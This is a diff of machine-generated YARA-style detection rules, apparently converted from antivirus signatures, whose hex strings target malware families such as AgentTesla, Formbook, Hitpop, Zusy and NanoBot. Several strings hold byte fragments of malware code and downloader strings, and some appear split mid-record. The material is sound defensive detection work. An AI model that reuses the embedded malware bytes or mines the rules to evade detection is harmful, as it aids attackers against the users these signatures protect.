6c 69 7a 65 20 67 75 69 74 61 72 65 6e 73 01 00 0d 81 01 72 65 76 6f 6c 75 74 69 6f 6e 77 68 72 00 00 78 c1 00 00 06 00 06 00 } //28274 + $a_23_2 = {53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4e 42 4c 31 32 33 21 4d 54 42 00 01 00 } //6 + $a_6c_3 = {6e } //-32495 n + $a_6f_4 = {74 65 72 69 6e 67 65 72 73 01 00 0e 81 01 72 61 69 73 6f 6e 20 76 6f 6b 73 76 72 6b 01 00 28 81 01 62 65 76 67 67 72 75 6e 64 65 6e 65 73 20 75 64 65 6e 62 6f 72 64 73 6d 6f 74 6f 72 20 73 63 79 70 68 6f 70 6f 6c 79 70 01 00 23 81 01 73 77 65 65 70 79 20 76 6f 6c 64 66 72 65 6c 73 65 20 76 65 6c 62 65 73 6c 61 61 65 74 68 65 64 65 6e 73 01 00 } //25962 + $a_63_5 = {61 } //-32507 a + condition: + ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*28274+(#a_23_2 & 1)*6+(#a_6c_3 & 1)*-32495+(#a_6f_4 & 1)*25962+(#a_63_5 & 1)*-32507) >=6 + +} +rule _InfrastructureShared_14218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -150366,7 +160450,7 @@ rule _InfrastructureShared_13339{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28261+(#a_23_2 & 1)*6+(#a_65_3 & 1)*28277+(#a_69_4 & 1)*24940+(#a_63_5 & 1)*9844) >=6 } -rule _InfrastructureShared_13340{ +rule _InfrastructureShared_14219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -150381,7 +160465,7 @@ rule _InfrastructureShared_13340{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*29541+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=6 } -rule _InfrastructureShared_13341{ +rule _InfrastructureShared_14220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -150396,7 +160480,7 @@ rule _InfrastructureShared_13341{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*15717+(#a_53_2 & 1)*17184+(#a_65_3 & 1)*24908+(#a_00_5 & 1)*0+(#a_42_6 & 1)*16725) >=6 } -rule _InfrastructureShared_13342{ +rule _InfrastructureShared_14221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -150412,7 +160496,7 @@ rule _InfrastructureShared_13342{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*13412+(#a_50_2 & 1)*8448+(#a_47_3 & 1)*19777+(#a_65_4 & 1)*8308+(#a_6e_5 & 1)*26996+(#a_01_6 & 1)*21321) >=7 } -rule _InfrastructureShared_13343{ +rule _InfrastructureShared_14222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -150428,7 +160512,7 @@ rule _InfrastructureShared_13343{ ((#a_41_0 & 1)*20515+(#a_6f_1 & 1)*29472+(#a_67_2 & 1)*24953+(#a_49_3 & 1)*11853+(#a_49_4 & 1)*19770+(#a_65_5 & 1)*24940+(#a_46_6 & 1)*21283) >=7 } -rule _InfrastructureShared_13344{ +rule _InfrastructureShared_14223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -150444,7 +160528,7 @@ rule _InfrastructureShared_13344{ ((#a_6c_0 & 1)*16675+(#a_49_1 & 1)*11841+(#a_00_3 & 1)*10+(#a_2f_4 & 1)*18771+(#a_65_5 & 1)*263+(#a_74_6 & 1)*25962+(#a_6d_7 & 1)*21505) >=8 } -rule _InfrastructureShared_13345{ +rule _InfrastructureShared_14224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -150463,7 +160547,7 @@ rule _InfrastructureShared_13345{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*263+(#a_74_2 & 1)*25962+(#a_6d_3 & 1)*21505+(#a_00_4 & 1)*11+(#a_3a_5 & 1)*21587+(#a_05_6 & 1)*1025+(#a_6f_7 & 1)*17268+(#a_52_8 & 1)*21320+(#a_04_9 & 1)*-28556) >=10 } -rule _InfrastructureShared_13346{ +rule _InfrastructureShared_14225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -150475,13 +160559,12 @@ rule _InfrastructureShared_13346{ $a_ff_4 = {90 01 04 ba } //400 $a_53_6 = {90 00 01 00 1c 01 53 65 53 68 75 74 64 6f 77 6e 50 72 69 76 69 6c 65 67 65 00 5c 00 72 75 6e 61 73 00 01 00 2d 01 53 65 44 65 62 75 67 50 72 69 76 69 6c 65 67 65 00 53 65 53 68 75 74 64 6f 77 6e 50 72 69 76 69 6c 65 67 65 00 5c 00 25 64 2c 25 64 00 00 00 78 c1 00 00 0c 00 0b 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 2e 53 49 42 21 4d 54 42 00 01 00 15 02 53 00 68 00 6f 00 74 00 90 02 10 2e 00 65 00 78 00 65 00 90 00 01 00 0d 02 53 68 6f 74 90 02 10 2e 65 78 65 90 00 01 00 26 80 01 4e 65 74 43 6f 6f 6b 69 65 54 6f 6b 65 6e 69 7a 65 72 52 65 63 6f 67 6e 69 7a 65 64 41 74 74 72 69 62 75 74 65 76 0a 00 3e 03 0a 02 03 28 90 01 04 0b 16 0c 2b 90 01 01 06 18 8d 90 01 04 25 16 12 02 28 90 01 04 a2 25 17 07 a2 28 90 01 04 } //6283 $a_01_7 = {04 26 08 17 58 0c 08 07 6f 90 01 04 32 90 01 01 02 06 7d 90 00 00 00 78 c1 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 4e 21 4d 54 42 00 0a 00 6c 02 20 00 01 00 00 14 14 17 8d 90 01 04 25 16 03 a2 28 90 01 04 74 90 01 04 0b 07 72 90 01 03 70 18 17 8d 90 01 04 25 16 72 90 01 03 70 a2 28 90 01 04 74 90 01 04 0c 08 6f 90 01 04 0d 09 16 9a 14 19 8d 90 01 04 } //28625 - $a_90_8 = {04 a2 25 17 7e 90 01 04 a2 25 18 72 90 01 03 70 a2 14 6f 90 01 05 20 00 08 00 00 0a 2b 00 06 2a 90 00 02 00 1e 80 01 53 61 66 65 52 65 67 69 73 74 72 79 48 61 6e 64 6c 65 2e 49 50 65 72 6d 69 73 73 69 6f 6e 00 00 78 c1 00 00 10 00 10 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 31 46 21 4d 54 42 00 01 00 0d 01 53 75 73 } //5669 - $a_64_9 = {61 79 6f 75 74 01 00 0c 01 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 12 01 43 72 65 61 74 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 01 00 13 01 44 69 73 70 6f 73 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 01 00 08 01 54 6f 53 74 72 69 6e 67 01 00 0b 01 54 6f 43 68 61 72 41 72 72 61 79 0a 00 25 80 01 24 65 65 66 33 34 33 33 65 2d 66 35 } //25968 + $a_90_8 = {04 a2 25 17 7e 90 01 04 a2 25 18 72 90 01 03 70 a2 14 6f 90 01 05 20 00 08 00 00 0a 2b 00 06 2a 90 00 02 00 1e 80 01 53 61 66 65 52 65 67 69 73 74 72 79 48 61 6e 64 6c 65 2e 49 50 65 72 6d 69 73 73 69 6f 6e 00 00 78 c1 00 00 0d 00 0d 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 6f 72 6d 62 6f 6f 6b 2e 52 50 41 21 4d 54 42 00 0a 00 52 02 2e 74 65 78 74 } //5669 condition: - ((#a_46_0 & 1)*21283+(#a_69_1 & 1)*384+(#a_53_2 & 1)*-32757+(#a_65_3 & 1)*26998+(#a_ff_4 & 1)*400+(#a_53_6 & 1)*6283+(#a_01_7 & 1)*28625+(#a_90_8 & 1)*5669+(#a_64_9 & 1)*25968) >=10 + ((#a_46_0 & 1)*21283+(#a_69_1 & 1)*384+(#a_53_2 & 1)*-32757+(#a_65_3 & 1)*26998+(#a_ff_4 & 1)*400+(#a_53_6 & 1)*6283+(#a_01_7 & 1)*28625+(#a_90_8 & 1)*5669) >=10 } -rule _InfrastructureShared_13347{ +rule _InfrastructureShared_14226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -150493,7 +160576,7 @@ rule _InfrastructureShared_13347{ ((#a_54_0 & 1)*18467+(#a_ba_1 & 1)*400+(#a_0c_2 & 1)*-232) >=11 } -rule _InfrastructureShared_13348{ +rule _InfrastructureShared_14227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0b 00 04 00 21 " @@ -150506,18 +160589,29 @@ rule _InfrastructureShared_13348{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29797+(#a_90_2 & 1)*-24057+(#a_52_3 & 1)*21320) >=11 } -rule _InfrastructureShared_13349{ +rule _InfrastructureShared_14228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 4e 21 4d 54 42 00 0a 00 6c 02 20 00 01 00 00 14 14 17 8d 90 01 04 25 16 03 a2 28 90 01 04 74 90 01 04 0b 07 72 90 01 03 70 18 17 8d 90 01 04 25 16 72 90 01 03 70 a2 28 90 } //18467 - $a_90_1 = {04 0c 08 6f 90 01 04 0d 09 16 9a 14 19 8d 90 01 04 25 16 7e 90 01 04 a2 25 17 7e 90 01 04 a2 25 18 72 90 01 03 70 a2 14 6f 90 01 05 20 00 08 00 00 0a 2b 00 06 2a 90 00 02 00 1e 80 01 53 61 66 65 52 65 67 69 73 74 72 79 48 61 6e 64 6c 65 2e 49 50 65 72 6d 69 73 73 69 6f 6e 00 00 78 c1 00 00 10 00 10 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e } //1025 + $a_90_1 = {04 0c 08 6f 90 01 04 0d 09 16 9a 14 19 8d 90 01 04 25 16 7e 90 01 04 a2 25 17 7e 90 01 04 a2 25 18 72 90 01 03 70 a2 14 6f 90 01 05 20 00 08 00 00 0a 2b 00 06 2a 90 00 02 00 1e 80 01 53 61 66 65 52 65 67 69 73 74 72 79 48 61 6e 64 6c 65 2e 49 50 65 72 6d 69 73 73 69 6f 6e 00 00 78 c1 00 00 0d 00 0d 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a } //1025 condition: ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1025) >=12 } -rule _InfrastructureShared_13350{ +rule _InfrastructureShared_14229{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 6f 72 6d 62 6f 6f 6b 2e 52 50 41 21 4d 54 42 00 0a 00 52 02 2e 74 65 78 74 00 00 00 90 01 03 00 00 10 00 00 90 01 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 } //21539 + $a_61_2 = {61 00 00 00 18 5f 02 00 90 01 03 00 00 9c 01 00 00 a6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 90 00 01 00 14 01 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 01 00 08 01 25 50 44 46 2d 31 2e 37 01 00 17 01 56 69 65 77 65 72 50 72 65 66 65 72 65 6e 63 65 73 20 35 20 30 20 } //11872 + condition: + ((#a_4c_0 & 1)*21539+(#a_61_2 & 1)*11872) >=13 + +} +rule _InfrastructureShared_14230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -150532,7 +160626,7 @@ rule _InfrastructureShared_13350{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*25955+(#a_00_2 & 1)*0+(#a_49_3 & 1)*19770+(#a_4b_4 & 1)*30+(#a_00_6 & 1)*0) >=16 } -rule _InfrastructureShared_13351{ +rule _InfrastructureShared_14231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 08 00 21 " @@ -150544,12 +160638,12 @@ rule _InfrastructureShared_13351{ $a_65_4 = {74 54 65 73 6c 61 2e 4f 58 47 53 21 4d 54 42 00 0a 00 38 02 25 16 03 9e 25 17 04 9e 28 90 01 04 0a 02 19 8d 90 01 04 25 16 06 9e 25 17 04 9e 25 18 05 9e 19 28 90 01 04 28 90 01 04 b7 0b 02 73 90 01 04 07 28 90 01 04 26 2a 90 00 0a 00 32 02 17 da 0c 16 0a 2b 90 01 01 07 03 06 94 d6 0b 06 17 d6 0a 06 08 31 90 } //16687 $a_6c_5 = {6c 5b 02 02 7b 90 01 } //257 $a_01_6 = {04 1f 0a 9a 7d 90 01 04 2a 90 00 01 00 0e 80 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 08 80 01 4c 61 74 65 43 61 6c 6c 00 00 78 c1 00 00 21 00 21 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 48 69 74 70 6f 70 2e 41 43 00 0a 00 12 00 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 41 0a 00 1b 00 53 4f 46 54 57 41 52 45 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 5c 52 54 4c 0a 00 1b } //28420 - $a_74_7 = {3a 2f 2f 77 77 77 2e 90 02 20 2f 6d 79 64 6f 77 6e 2e 61 73 70 90 00 01 00 05 00 64 65 6c 61 79 01 00 08 00 61 64 61 6d 2e 65 78 65 01 00 0b 00 73 76 63 68 6f 73 74 2e 65 78 65 01 00 0a 00 53 74 61 72 74 20 50 61 67 65 01 00 0e 00 69 6e 73 74 61 6c 6c 72 65 67 2e 61 73 70 00 00 78 c2 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a } //26626 + $a_74_7 = {3a 2f 2f 77 77 77 2e 90 02 20 2f 6d 79 64 6f 77 6e 2e 61 73 70 90 00 01 00 05 00 64 65 6c 61 79 01 00 08 00 61 64 61 6d 2e 65 78 65 01 00 0b 00 73 76 63 68 6f 73 74 2e 65 78 65 01 00 0a 00 53 74 61 72 74 20 50 61 67 65 01 00 0e 00 69 6e 73 74 61 6c 6c 72 65 67 2e 61 73 70 00 00 78 c1 00 00 23 00 23 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a } //26626 condition: ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*28274+(#a_02_2 & 1)*28265+(#a_01_3 & 1)*32278+(#a_65_4 & 1)*16687+(#a_6c_5 & 1)*257+(#a_01_6 & 1)*28420+(#a_74_7 & 1)*26626) >=16 } -rule _InfrastructureShared_13352{ +rule _InfrastructureShared_14232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " @@ -150564,7 +160658,7 @@ rule _InfrastructureShared_13352{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-23902+(#a_61_2 & 1)*28530+(#a_06_3 & 1)*-10729+(#a_90_4 & 1)*514+(#a_5c_5 & 1)*21057) >=20 } -rule _InfrastructureShared_13353{ +rule _InfrastructureShared_14233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 04 00 21 " @@ -150576,24 +160670,33 @@ rule _InfrastructureShared_13353{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1796+(#a_01_2 & 1)*31490) >=22 } -rule _InfrastructureShared_13354{ +rule _InfrastructureShared_14234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,21 00 21 00 08 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 48 69 74 70 6f 70 2e 41 43 00 0a 00 12 00 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 41 0a 00 1b 00 53 4f 46 54 57 41 52 45 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 5c 52 54 4c 0a 00 1b } //18467 - $a_74_1 = {3a 2f 2f 77 77 77 2e 90 02 20 2f 6d 79 64 6f 77 6e 2e 61 73 70 90 00 01 00 05 00 64 65 6c 61 79 01 00 08 00 61 64 61 6d 2e 65 78 65 01 00 0b 00 73 76 63 68 6f 73 74 2e 65 78 65 01 00 0a 00 53 74 61 72 74 20 50 61 67 65 01 00 0e 00 69 6e 73 74 61 6c 6c 72 65 67 2e 61 73 70 00 00 78 c2 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a } //26626 - $a_4c_2 = {4e 61 6e 6f 42 6f 74 2e 53 49 42 21 4d 54 42 00 01 00 94 02 fe 0e 02 00 73 90 01 04 fe 0e 90 01 02 fe 0c 90 01 02 28 90 01 04 6f 90 01 04 fe 0e 90 01 02 38 90 01 04 fe 0d 90 1b 05 28 90 01 04 fe 0e 90 01 02 fe 0c 90 1b } //21325 - $a_01_3 = {04 fe 0c 90 01 02 28 90 01 04 da fe 0e 90 01 02 fe 0c 90 1b 01 fe 0c 90 1b 0e 28 90 01 04 6f 90 01 04 26 90 02 10 fe 0d 90 1b 05 28 90 01 04 fe 0e 90 01 02 fe 0c 90 1b 16 3a 90 01 04 dd 90 01 04 90 02 20 fe 0c 90 1b 01 6f 10 00 00 0a fe 0e 90 01 02 38 90 01 04 fe 0c 90 00 00 00 78 c2 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 49 6e 76 6f 6b 65 2e 4b 41 42 21 4d 54 42 00 01 00 94 03 02 07 08 } //10249 - $a_01_4 = {00 } //-28561 - $a_12_5 = {28 90 01 01 00 00 0a 1f 64 fe 01 2c 07 } //2560 - $a_01_6 = {01 00 00 0a 2a 12 03 28 90 01 01 00 00 0a 1f 1e 33 14 06 12 03 28 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 06 6f 90 01 01 00 00 0a 2a 12 03 28 90 01 01 00 00 0a 1f 14 33 21 06 12 03 28 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 06 12 03 28 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 06 6f 90 01 01 00 00 0a 2a 12 03 28 90 01 01 00 00 0a 20 ff 00 00 00 33 27 90 00 00 00 78 c2 00 00 01 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //28422 - $a_32_7 = {53 70 79 4e 6f 6f 6e 2e 52 4b 21 4d 54 42 00 01 00 4c 02 c1 e2 03 0b ca 88 8d 90 01 04 0f b6 85 90 01 04 2b 85 90 01 04 88 85 90 01 04 0f b6 8d 90 01 04 } //28265 + $a_74_1 = {3a 2f 2f 77 77 77 2e 90 02 20 2f 6d 79 64 6f 77 6e 2e 61 73 70 90 00 01 00 05 00 64 65 6c 61 79 01 00 08 00 61 64 61 6d 2e 65 78 65 01 00 0b 00 73 76 63 68 6f 73 74 2e 65 78 65 01 00 0a 00 53 74 61 72 74 20 50 61 67 65 01 00 0e 00 69 6e 73 74 61 6c 6c 72 65 67 2e 61 73 70 00 00 78 c1 00 00 23 00 23 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a } //26626 + $a_33_2 = {2f 5a 75 73 79 2e 53 58 42 21 4d 54 42 00 14 00 41 01 0f 10 04 01 0f 28 ca 0f 57 c2 0f 11 04 01 0f 10 84 05 40 f5 ff ff 0f 57 c2 0f 11 84 05 40 f5 ff ff 0f 10 04 02 0f 57 c8 0f 11 0c 02 0f 10 04 06 0f 57 c2 0f 11 04 06 83 c0 40 3d 80 0a 00 00 7c bf 0a 00 35 03 8b d8 85 db 74 31 56 8d 4f 04 51 53 e8 90 01 04 83 c4 0c 6a 00 6a 00 } //26967 + $a_00_3 = {6a 00 ff 15 90 01 04 a3 90 01 04 a1 90 01 04 50 8b 40 0c ff d0 83 c4 04 90 00 05 00 17 01 57 3a 4a 3a 59 3a 56 3a 53 3a 5f 3a 54 3a 4e 3a 14 3a 5e 3a 5b 3a 4e 00 00 78 c2 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 61 6e 6f 42 6f 74 2e 53 49 42 21 4d 54 42 00 01 00 94 02 fe 0e 02 } //21335 + $a_01_4 = {04 fe 0e 90 01 02 fe 0c 90 01 02 28 90 01 04 6f 90 01 04 fe 0e 90 01 02 38 90 01 04 fe 0d 90 1b 05 28 90 01 04 fe 0e 90 01 02 fe 0c 90 1b 09 28 90 01 04 fe 0c 90 01 02 28 90 01 04 da fe 0e 90 01 02 fe 0c 90 1b 01 fe 0c 90 1b 0e 28 90 01 04 6f 90 01 04 26 90 02 10 fe 0d 90 1b 05 28 90 01 04 fe 0e 90 01 02 fe 0c 90 1b 16 3a 90 01 04 dd 90 01 04 90 02 20 fe 0c 90 1b 01 6f 10 00 00 0a fe 0e 90 01 02 38 90 01 04 fe 0c 90 00 00 00 78 } //29440 + $a_54_7 = {4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 49 6e 76 6f 6b 65 2e 4b 41 42 21 4d 54 42 00 01 00 94 03 02 } //8448 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26626+(#a_4c_2 & 1)*21325+(#a_01_3 & 1)*10249+(#a_01_4 & 1)*-28561+(#a_12_5 & 1)*2560+(#a_01_6 & 1)*28422+(#a_32_7 & 1)*28265) >=33 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26626+(#a_33_2 & 1)*26967+(#a_00_3 & 1)*21335+(#a_01_4 & 1)*29440+(#a_54_7 & 1)*8448) >=33 } -rule _InfrastructureShared_13355{ +rule _InfrastructureShared_14235{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,23 00 23 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 53 58 42 21 4d 54 42 00 14 00 41 01 0f 10 04 01 0f 28 ca 0f 57 c2 0f 11 04 01 0f 10 84 05 40 f5 ff ff 0f 57 c2 0f 11 84 05 40 f5 ff ff 0f 10 04 02 0f 57 } //21539 + $a_0c_1 = {02 0f 10 04 06 0f 57 c2 0f 11 04 06 83 c0 40 3d 80 } //4040 + condition: + ((#a_4c_0 & 1)*21539+(#a_0c_1 & 1)*4040) >=35 + +} +rule _InfrastructureShared_14236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -150603,7 +160706,7 @@ rule _InfrastructureShared_13355{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_13356{ +rule _InfrastructureShared_14237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -150613,7 +160716,7 @@ rule _InfrastructureShared_13356{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_13357{ +rule _InfrastructureShared_14238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -150624,7 +160727,7 @@ rule _InfrastructureShared_13357{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-27210) >=1 } -rule _InfrastructureShared_13358{ +rule _InfrastructureShared_14239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -150635,7 +160738,7 @@ rule _InfrastructureShared_13358{ ((#a_46_0 & 1)*21283+(#a_09_1 & 1)*28880) >=1 } -rule _InfrastructureShared_13359{ +rule _InfrastructureShared_14240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -150647,7 +160750,7 @@ rule _InfrastructureShared_13359{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_3a_2 & 1)*19521) >=1 } -rule _InfrastructureShared_13360{ +rule _InfrastructureShared_14241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -150658,7 +160761,7 @@ rule _InfrastructureShared_13360{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*-1923) >=2 } -rule _InfrastructureShared_13361{ +rule _InfrastructureShared_14242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -150669,7 +160772,7 @@ rule _InfrastructureShared_13361{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*53) >=2 } -rule _InfrastructureShared_13362{ +rule _InfrastructureShared_14243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -150679,7 +160782,7 @@ rule _InfrastructureShared_13362{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13363{ +rule _InfrastructureShared_14244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -150689,7 +160792,7 @@ rule _InfrastructureShared_13363{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_13364{ +rule _InfrastructureShared_14245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -150701,7 +160804,7 @@ rule _InfrastructureShared_13364{ ((#a_46_0 & 1)*16675+(#a_c6_1 & 1)*400+(#a_40_2 & 1)*1025) >=2 } -rule _InfrastructureShared_13365{ +rule _InfrastructureShared_14246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -150713,7 +160816,7 @@ rule _InfrastructureShared_13365{ ((#a_46_0 & 1)*16675+(#a_df_1 & 1)*6+(#a_52_2 & 1)*27462) >=2 } -rule _InfrastructureShared_13366{ +rule _InfrastructureShared_14247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -150724,21 +160827,37 @@ rule _InfrastructureShared_13366{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25203) >=2 } -rule _InfrastructureShared_13367{ +rule _InfrastructureShared_14248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " strings : $a_77_0 = {69 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 53 65 66 6e 69 74 5f 47 65 6e 45 00 01 00 06 01 33 70 72 6f 78 79 01 00 05 01 50 75 54 54 59 01 00 11 01 2f 77 00 00 2f 72 00 00 2f 69 00 00 2f 73 76 63 00 01 00 19 03 2b c8 8b d6 bb 90 01 02 00 00 66 33 1c 01 66 89 18 83 c0 02 4a 75 ee 90 00 01 00 28 01 54 00 72 00 75 00 73 00 74 00 65 00 64 } //19491 - $a_00_2 = {61 00 6c 00 6c 00 65 00 72 00 2e 00 65 00 78 00 65 00 01 00 26 01 42 00 6c 00 65 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 43 00 74 00 72 00 6c 00 2e 00 65 00 78 00 65 00 00 00 78 c2 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 49 4f 32 33 39 21 4d 54 42 00 01 } //115 - $a_5a_3 = {36 } //12288 6 - $a_3b_4 = {32 3b 5a 3b 36 43 3b 5a 3b 37 39 3b 5a 3b 32 30 3b 5a 3b 35 36 3b 5a 3b 36 35 3b 5a 3b 37 32 3b 5a 3b 37 33 3b 5a 3b 36 01 00 39 01 39 3b 5a 3b 36 46 3b 5a 3b 36 45 3b 5a 3b 5a 3b 5a 3b 33 32 3b 5a 3b 32 45 3b 5a 3b 33 31 3b 5a 3b 32 45 3b 5a 3b 33 30 3b 5a 3b 32 45 3b } //15172 - $a_30_5 = {5a 3b 5a 3b 5a 3b 01 00 1a 01 5a 3b 34 30 3b 30 31 3b 5a 3b 30 43 3b 5a 3b 5a 3b 5a 3b 45 30 3b 33 46 3b 5a 00 00 78 c2 00 00 03 00 03 00 03 00 21 23 48 } //15194 + $a_00_2 = {61 00 6c 00 6c 00 65 00 72 00 2e 00 65 00 78 00 65 00 01 00 26 01 42 00 6c 00 65 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 43 00 74 00 72 00 6c 00 2e 00 65 00 78 00 65 00 00 00 78 c2 00 00 02 00 02 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 79 73 64 75 70 61 74 65 